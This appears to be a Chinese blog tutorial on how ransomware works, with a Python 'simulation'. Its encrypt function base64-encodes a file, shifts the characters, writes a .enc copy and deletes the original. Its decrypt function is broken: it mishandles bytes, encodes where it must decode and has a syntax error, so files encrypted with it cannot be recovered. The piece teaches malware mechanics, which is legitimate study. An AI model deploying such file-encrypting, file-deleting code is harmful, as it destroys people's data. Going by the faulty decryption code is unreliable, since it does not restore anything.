0x00 前置
1、将电脑上的重要文件加密,将文件以二进制的方式进行加密处理,导致加密过后的文件,要打开必须要解密,要解密必须要解密程序。
2、传播:系统or程序漏洞、人为疏忽、后门或木马程序。
3、解决:交钱、破解、数据备份
0x01 python模拟原理
1、如何使用python对文件加密
所有文件都可以base64加密,base64是标准字符串,针对字符串进行加密。再保存,此时将无法打开文件。如果解密,将加密后的文件,按字符串进行解密,并重新保存为二进制文件。
2、过程
(1)对二进制文件进行base64转码并加密保存
(2)定义加密算法并将加密后的字符串保存在文件中
(3)代码
##对二进制文件进行base64转码并加密保存
import base64 ,os
#加密
def encrypt(filepath):
with open(filepath, mode='rb') as file:
data = file.read()
source = base64.b64encode(data).decode()
print(source)
#加密算法:大小写字符右移5位
dest = ''
for c in source:
dest+= chr(ord(c)+5)
#将加密字符串保存在文件中
with open(filepath + '.enc', mode='w') as file:
file.write(dest)
#删除原始文件
os.remove(filepath)
#解密
def decrypt(filepath):
with open(filepath, mode='rb') as file:
content = file.read()
dest = ''
for c in content:
dest += chr(ord(c)-5)
newfile = filepath.replace('.enc', '')
with open(newfile, mode='wb') as file: #将加密文件以二进制方式取回
file.write(base64.b64encode(dest)
if __name__ =='__main__':
encrypt('./test.jpg')
(3)结果
加密后的文件
生成的勒索文件:
//很显然勒索病毒的原理和实现都很简单,其实就是把别人的文件加一个只有你自己知道的密码,然后要钱。里面的加密算法、文件随意变换。